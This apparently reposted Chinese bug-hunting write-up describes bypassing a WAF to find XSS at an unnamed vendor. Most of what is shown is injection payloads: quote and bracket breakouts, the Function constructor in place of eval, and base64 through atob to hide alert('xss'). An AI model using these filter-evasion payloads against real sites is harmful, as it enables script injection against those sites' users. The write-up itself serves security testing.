实战 | 多手法绕过WAF挖掘某知名厂商XSS

平静的闭合与常规操作

’)]

%27)];eval(alert('xss'))//

多手法组合绕过WAF

解决eval

var f = new Function("x","y","return x*y");

var f=function(x,y){x*y};

Function(alert('xss'))

eval(alert('xss'))

?%27]);Function(test)()//

%27]);Function(alert('xss'))()//

绕过函数检测

atob("YWxlcnQoInhzcyIp")  //base64编码的alert('xss')

%27]);Function(atob('YWxlcnQoInhzcyIp')))()//

atob`YWxlcnQoInhzcyIp`

%27]);Function(atob`YWxlcnQoInhzcyIp`)()//

总结

作者：J0o1ey原文链接：https://www.cnblogs.com/J0o1ey/p/15956135.html

原文始发于微信公众号（LemonSec）：实战 | 多手法绕过WAF挖掘某知名厂商XSS